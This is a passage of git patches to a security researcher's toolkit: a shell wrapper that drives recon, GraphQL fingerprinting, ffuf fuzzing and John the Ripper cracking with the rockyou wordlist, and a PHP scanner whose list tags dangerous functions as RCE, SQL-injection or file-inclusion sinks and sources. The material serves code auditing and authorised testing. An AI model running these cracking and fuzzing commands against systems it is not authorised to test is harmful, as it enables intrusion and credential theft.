level='ALL'): _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" else: - print("{}{}:{}\t{}{}\t{}\t{}{}".format(beautyConsole.getColor( - "white"), file_name, i, beautyConsole.getColor("grey"), vuln_class, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) + print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, beautyConsole.getColor(impact_color[impact]), beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) found += 1 if impact not in severity.keys(): severity[impact] = 1 From a951dd5d463a26036ee737b68092aff9cc41130a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 13 Jun 2023 09:53:03 +0100 Subject: [PATCH 284/369] [s0mbra] added graphw00f to gql() --- s0mbra.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index f46c43e..27c985d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -589,9 +589,11 @@ jadx() { /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } -# executes graphql-cop against GraphQL endpoint +# executes grpahw00f graphql-cop against GraphQL endpoint gql() { clear + echo -e "$BLUE[s0mbra] Fingerprinting GraphQl endpoints on $1...$CYAN" + python3 /Users/bl4de/hacking/tools/graphw00f/main.py -d -f -t $1 echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CYAN" python3 /Users/bl4de/hacking/tools/graphql-cop/graphql-cop.py -t $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" From cf16da3318508336c2dd4d34ecda353c5ccff7f5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 19 Jun 2023 23:00:25 +0100 Subject: [PATCH 285/369] [s0mbra] Fix rockyou_john --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 27c985d..3f97098 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -78,7 +78,7 @@ rockyou_john() { echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" echo > "$HACKING_HOME"/tools/jtr/run/john.pot if [[ -n $2 ]]; then - "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" --format="$2" + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" elif [[ -z $2 ]]; then "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" fi @@ -879,7 +879,7 @@ case "$cmd" in echo -e "$CYAN smb_umount $CLR" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 8b9014c846a8b6b389da72b4125fa9f489b7a88c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 19 Jun 2023 23:17:18 +0100 Subject: [PATCH 286/369] [s0mbra] john_pot to display POT file --- s0mbra.sh | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3f97098..6fa99a5 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -86,6 +86,13 @@ rockyou_john() { echo -e "\n$BLUE[s0mbra] Done." } +# show JTR's pot file +john_pot() { + echo -e "$BLUE[s0mbra] Joghn The Ripper pot file:$GRAY" + cat "$HACKING_HOME"/tools/jtr/run/john.pot + echo -e "\n$BLUE[s0mbra] Done." +} + # ZIP password cracking with rockyou.txt rockyou_zip() { echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." @@ -769,6 +776,9 @@ case "$cmd" in rockyou_zip) rockyou_zip "$2" ;; + john_pot) + john_pot + ;; ssh_to_john) ssh_to_john "$2" ;; @@ -879,8 +889,9 @@ case "$cmd" in echo -e "$CYAN smb_umount $CLR" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES][FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" + echo -e "$CYAN john_pot$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" From 87b54957ac449803fff9037d916a94fe512b55a6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 22 Jun 2023 15:40:26 +0100 Subject: [PATCH 287/369] [s0mbra] simplify peek() output --- s0mbra.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6fa99a5..56a8b4c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -281,8 +281,6 @@ peek() { echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" - echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } From b6264ea183a28962d3afe001b217752518e18814 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 23 Jun 2023 11:46:43 +0100 Subject: [PATCH 288/369] [s0mbra] rename um() to unmin() --- s0mbra.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 56a8b4c..de33ed4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -113,7 +113,7 @@ ssh_to_john() { } # runs unminify on $1 JavaScript file -um() { +unmin() { FILENAME=$1 echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" unminify $FILENAME > unmimified.$FILENAME @@ -783,8 +783,8 @@ case "$cmd" in defcreds) defcreds "$2" ;; - um) - um "$2" + unmin) + unmin "$2" ;; snyktest) snyktest @@ -892,7 +892,7 @@ case "$cmd" in echo -e "$CYAN john_pot$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR" From a923677d10a12255899d9ef223e5b6d1133e02c4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 24 Jun 2023 10:58:56 +0100 Subject: [PATCH 289/369] [s0mbra] Remove x8 --- s0mbra.sh | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index de33ed4..c62500e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -296,16 +296,14 @@ recon() { NIKTO="1" FFUF="1" FEROXBUSTER="1" - X8="1" SUBDOMANIZER="1" - SELECTED_OPTIONS="nmap, nikto, ffuf, x8, subdomanizer" + SELECTED_OPTIONS="nmap, nikto, ffuf, subdomanizer" else # set options: NMAP=$(echo $2|grep 'nmap'|wc -l) NIKTO=$(echo $2|grep 'nikto'|wc -l) VHOSTS=$(echo $2|grep 'vhosts'|wc -l) FFUF=$(echo $2|grep 'ffuf'|wc -l) - X8=$(echo $2|grep 'x8'|wc -l) SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) SELECTED_OPTIONS=$2 fi @@ -354,11 +352,6 @@ recon() { ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log fi - # x8 - if [[ $X8 -eq "1" ]]; then - x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 - fi - # subdomanizer if [[ $SUBDOMANIZER -eq "1" ]]; then echo -e "\n$GREEN--> SubDomanizer$CLR\n" @@ -867,7 +860,7 @@ case "$cmd" in *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,x8,subdomanizer] [PROTO http/https]$CLR" + echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 69350fbba08032477c1c4231f57d9b1891c11c61 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 25 Jun 2023 01:40:53 +0100 Subject: [PATCH 290/369] [pef] --skip-vendor option to omit /vendor folder --- pef/pef.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index f98b2de..a157f33 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -154,14 +154,15 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, level, filename): + def __init__(self, recursive, level, filename, skip_vendor=False): """ constructor """ self.recursive = recursive # recursive scan files in folder(s) self.level = level # scan only for level set of functions self.filename = filename # name of file/folder to scan - + self.skip_vendor = skip_vendor + self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -250,6 +251,8 @@ def run(self): f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") if self.recursive: for root, subdirs, files in os.walk(self.filename): + if self.skip_vendor is True and "vendor" in root: + continue prev_filename = "" for f in files: extension = f.split('.')[-1:][0] @@ -282,6 +285,8 @@ def is_comment(self, line: str) -> bool: parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") + parser.add_argument( + "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") parser.add_argument( @@ -295,5 +300,5 @@ def is_comment(self, line: str) -> bool: filename = args.file # main orutine starts here - engine = PefEngine(args.recursive, level, filename) + engine = PefEngine(args.recursive, level, filename, args.skip_vendor) engine.run() From 43bc88d4db31935c9fda7ad646903e9fda36ab6c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 26 Jun 2023 10:37:18 +0100 Subject: [PATCH 291/369] misc updates --- pef/pef.py | 1 - s0mbra.sh | 6 ++---- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index a157f33..3b6e501 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -210,7 +210,6 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] - vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] if (impact.upper() in level.upper()) or level == 'ALL': if len(_line) > 255: diff --git a/s0mbra.sh b/s0mbra.sh index c62500e..3950fbf 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -608,10 +608,8 @@ graphw00f() { # runs PHP SAST tools against PHP application php_sast() { clear - echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" - ./vendor/bin/phpstan analyse $1 - graudit $1 - phpcs --colors -vs $1 + echo -e "$BLUE[s0mbra] Running static code analysis...$CYAN" + semgrep scan --config=auto --sarif -o ./semgrep.sarif $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From d4eb1d277d10965a9a27247263411e7e5959024a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 27 Jul 2023 00:26:47 +0200 Subject: [PATCH 292/369] [s0mbra] update phpsast --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3950fbf..70f72c7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -609,7 +609,7 @@ graphw00f() { php_sast() { clear echo -e "$BLUE[s0mbra] Running static code analysis...$CYAN" - semgrep scan --config=auto --sarif -o ./semgrep.sarif $1 + semgrep scan --config=auto --severity ERROR --dataflow-traces --sarif -o ./semgrep.sarif $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 24dd07b90fc4f71abebdcfab6a3c41ec4f79bba5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 15 Sep 2023 17:10:35 +0100 Subject: [PATCH 293/369] [s0mbra] create sarif file using filename (php_sast()) --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 70f72c7..5936796 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -609,7 +609,7 @@ graphw00f() { php_sast() { clear echo -e "$BLUE[s0mbra] Running static code analysis...$CYAN" - semgrep scan --config=auto --severity ERROR --dataflow-traces --sarif -o ./semgrep.sarif $1 + semgrep scan --config=auto --severity ERROR --dataflow-traces --sarif -o ./$1.sarif $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From b6800a8d1e19402c8f69873872cdf46e7c8b8fbc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 01:39:22 +0100 Subject: [PATCH 294/369] [pef] Filter results type by sinks/sources --- pef/imports/pefdocs.py | 3 ++- pef/pef.py | 41 ++++++++++++++++++++++++++++------------- 2 files changed, 30 insertions(+), 14 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index f0f7044..4523c62 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -93,7 +93,8 @@ "Import variables into the current symbol table from an array", "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", "Code Injection", - "high" + "high", + "sink" ], "ini_set()": [ "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", diff --git a/pef/pef.py b/pef/pef.py index 3b6e501..7274cf0 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -154,7 +154,7 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, level, filename, skip_vendor=False): + def __init__(self, recursive, level, source_or_sink, filename, skip_vendor=False): """ constructor """ @@ -162,7 +162,8 @@ def __init__(self, recursive, level, filename, skip_vendor=False): self.level = level # scan only for level set of functions self.filename = filename # name of file/folder to scan self.skip_vendor = skip_vendor - + self.source_or_sink = source_or_sink + self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -189,13 +190,14 @@ def analyse_line(self, l, i, fn, f, line): # @ prevents from output being echoed if fn in line or atfn in line: if fn == "`": - res = self.print_code_line(f.name, l, i, fn, self.severity, self.level) + res = self.print_code_line( + f.name, l, i, fn, self.severity, self.level, self.source_or_sink) else: res = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level) + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, self.source_or_sink) return res - def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): """ prints formatted code line """ @@ -209,15 +211,17 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): found = 0 # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): - impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] + doc = pefdocs.exploitableFunctionsDesc.get(fn.strip()) + impact = doc[3] if (impact.upper() in level.upper()) or level == 'ALL': - if len(_line) > 255: - _line = _line[:120] + \ - f" (...truncated -> line is {len(_line)} characters long)" - else: - print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, beautyConsole.getColor(impact_color[impact]), beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) - found += 1 + if len(doc) == 5 and source_or_sink == doc[4] or source_or_sink == 'ALL': + if len(_line) > 255: + _line = _line[:120] + \ + f" (...truncated -> line is {len(_line)} characters long)" + print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, beautyConsole.getColor( + impact_color[impact]), beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) + found += 1 if impact not in severity.keys(): severity[impact] = 1 else: @@ -273,6 +277,7 @@ def is_comment(self, line: str) -> bool: line = re.sub(r"\s+", "", line) return line.startswith("/") or line.startswith("*") + # main program if __name__ == "__main__": @@ -288,6 +293,10 @@ def is_comment(self, line: str) -> bool: "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") + parser.add_argument( + "-S", "--source", help="show only sources", action="store_true") + parser.add_argument( + "-K", "--sink", help="show only sinks", action="store_true") parser.add_argument( "-f", "--file", @@ -296,8 +305,14 @@ def is_comment(self, line: str) -> bool: args = parser.parse_args() level = args.level.upper() if args.level else 'ALL' + source_or_sink = 'ALL' + if args.source: + source_or_sink = 'source' + if args.sink: + source_or_sink = 'sink' + filename = args.file # main orutine starts here - engine = PefEngine(args.recursive, level, filename, args.skip_vendor) + engine = PefEngine(args.recursive, level, source_or_sink, filename, args.skip_vendor) engine.run() From aced1a1c2fd205ad8f2f6700837ca3a8ee6365a5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 01:45:23 +0100 Subject: [PATCH 295/369] [pef] Filter results type by sinks/sources --- pef/imports/pefdocs.py | 192 +++++++++++++++++++++++++++-------------- 1 file changed, 128 insertions(+), 64 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 4523c62..1863d39 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -9,43 +9,50 @@ "Allows to execute system command", "`$command`", "RCE", - "critical" + "critical", + "sink" ], "system()": [ "Allows to execute system command passed as an argument", "system ( string $command [, int &$return_var ] ) : string", "RCE", - "critical" + "critical", + "sink" ], "exec()": [ "exec - Execute an external program", "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", "RCE", - "critical" + "critical", + "sink" ], "call_user_func_array()": [ "Call a callback with an array of parameters", "call_user_func_array ( callable $callback , array $param_arr ) : mixed", "RCE", - "high" + "high", + "sink" ], "parse_url()": [ "parse_url — Parse a URL and return its components", "parse_url(string $url, int $component = -1): mixed", "SSRF, Filter Bypass", - "medium" + "medium", + "sink" ], "parse_str()": [ "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", "parse_str ( string $encoded_string [, array &$result ] ) : void" "Code Injection", - "high" + "high", + "sink" ], "eval()": [ "Evaluate a string as PHP code", "eval ( string $code ) : mixed", "RCE", - "critical" + "critical", + "sink" ], "preg_replace()": [ "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", @@ -57,37 +64,43 @@ "DEPRECATED as of PHP 7.2.0 - Create an anonymous (lambda-style) function. Creates an anonymous function from the parameters passed, and returns a unique name for it.", "create_function ( string $args , string $code ) : string", "Code Injection, RCE", - "medium" + "medium", + "sink" ], "passthru()": [ "Execute an external program and display raw output", "passthru ( string $command [, int &$return_var ] ) : void", "RCE", - "critical" + "critical", + "sink" ], "shell_exec()": [ "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", "shell_exec ( string $cmd ) : string", "RCE", - "critical" + "critical", + "sink" ], "popen()": [ "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", "popen ( string $command , string $mode ) : resource", "Code Injection", - "medium" + "medium", + "sink" ], "proc_open()": [ "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", "Code Injection", - "medium" + "medium", + "sink" ], "pcntl_exec()": [ "Executes the program with the given arguments.", "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", "RCE", - "critical" + "critical", + "sink" ], "extract()": [ "Import variables into the current symbol table from an array", @@ -106,7 +119,8 @@ "Sends an email.", "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", "Arbitrary mail sending", - "low" + "low", + "sink" ], "echo": [ "Outputs all parameters. No additional newline is appended.", @@ -118,7 +132,8 @@ "unserialize() takes a single serialized variable and converts it back into a PHP value.", "unserialize ( string $str [, array $options ] ) : mixed", "Code Injection, RCE (in certain conditions)", - "high" + "high", + "sink" ], "assert()": [ "assert() will check the given assertion and take appropriate action if its result is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert() - ONLY PNP <7.2.0", @@ -130,115 +145,134 @@ "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", "call_user_func ( callable $callback [, mixed $... ] ) : mixed", "Code Injection", - "medium" + "medium", + "sink" ], "ereg_replace()": [ "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", "ereg_replace ( string $pattern , string $replacement , string $string ) : string", "Code Injection", - "low" + "low", + "sink" ], "eregi_replace()": [ "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", "eregi_replace ( string $pattern , string $replacement , string $string ) : string", "Code Injection", - "low" + "low", + "sink" ], "mb_ereg_replace()": [ "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", "mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = \"msr\" ] ) : string", "Code Injection", - "low" + "low", + "sink" ], "mb_eregi_replace()": [ "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", "mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = \"msri\" ] ) : string", "Code Injection", - "low" + "low", + "sink" ], "virtual()": [ "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", "virtual ( string $filename ) : bool", "Local File Include, Remote File Include", - "low" + "low", + "sink" ], "readfile()": [ "Reads a file and writes it to the output buffer.", "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", "Code Injection, LFI, RFI", - "high" + "high", + "source" ], "file_get_contents()": [ "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", "Code Injection, LFI, RFI", - "high" + "high", + "source" ], "show_source()": [ "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", "Information Disclosure", - "low" + "low", + "source" ], "highlight_file()": [ "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", "Information Disclosure", - "low" + "low", + "source" ], "fopen()": [ "fopen() binds a named resource, specified by filename, to a stream.", "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", "Code Injection, LFI, RFI", - "low" + "low", + "source" ], "file()": [ "Reads an entire file into an array.", "ile ( string $filename [, int $flags = 0 [, resource $context ]] ) : array", "Code Injection, LFI, RFI", - "low" + "low", + "source" ], "fpassthru()": [ "Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.", "fpassthru ( resource $handle ) : int", "Code Injection, LFI, RFI, RCE (depending on the context)", - "low" + "low", + "sink" ], "fsockopen()": [ "Initiates a socket connection to the resource specified by hostname.", "fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(\"default_socket_timeout\") ]]]] ) : resource", "RCE (depends on context)", - "low" + "low", + "sink" ], "gzopen()": [ "Opens a gzip (.gz) file for reading or writing.", "gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] ) : resource", "Code Injection, LFI (depends on context)", - "low" + "low", + "sink" ], "gzread()": [ "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", "gzread ( resource $zp , int $length ) : string", "Code Injection, LFI", - "low" + "low", + "sink" ], "gzfile()": [ "Read entire gz-file into an array. This function is identical to readgzfile(), except that it returns the file in an array.", "gzfile ( string $filename [, int $use_include_path = 0 ] ) : array", "Code Injection, LFI", - "low" + "low", + "sink" ], "gzpassthru()": [ "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", "gzpassthru ( resource $zp ) : int", "Code Injection, LFI", - "low" + "low", + "sink" ], "readgzfile()": [ "Output a gz-file. Reads a file, decompresses it and writes it to standard output.", "readgzfile ( string $filename [, int $use_include_path = 0 ] ) : int", "Code Injection, LFI, RCE", - "medium" + "medium", + "sink" ], "mssql_query()": [ "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", @@ -250,37 +284,43 @@ "Sends an SQL statement to the database server.", "odbc_exec ( resource $connection_id , string $query_string [, int $flags ] ) : resource", "SQL Injection", - "high" + "high", + "sink" ], "sqlsrv_query()": [ "Prepares and executes a query", "sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] ) : mixed", "SQL Injection", - "medium" + "medium", + "sink" ], "PDO::query()": [ "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", "SQL Injection", - "medium" + "medium", + "sink" ], "move_uploaded_file()": [ "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", "move_uploaded_file ( string $filename , string $destination ) : bool", "File Include", - "low" + "low", + "sink" ], "print()": [ "Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.", "print ( string $arg ) : int", "XSS, Content/HTML Injection", - "low" + "low", + "sink" ], "printf()": [ "Produces output according to format.", "printf ( string $format [, mixed $... ] ) : int", "XSS, Content/HTML Injection", - "low" + "low", + "sink" ], "ldap_search()": [ "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", @@ -292,49 +332,57 @@ "Send a raw HTTP header", "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", "Header Injection, Open Redirect", - "low" + "low", + "sink" ], "sqlite_query()": [ "SQLiteDatabase::query - Executes a query against a given database and returns a result handle", "sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] ) : resource", "SQL Injection", - "medium" + "medium", + "sink" ], "pg_query()": [ "pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.", "pg_query ([ resource $connection ], string $query ) : resource", "SQL Injection", - "medium" + "medium", + "sink" ], "mysql_query()": [ "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : 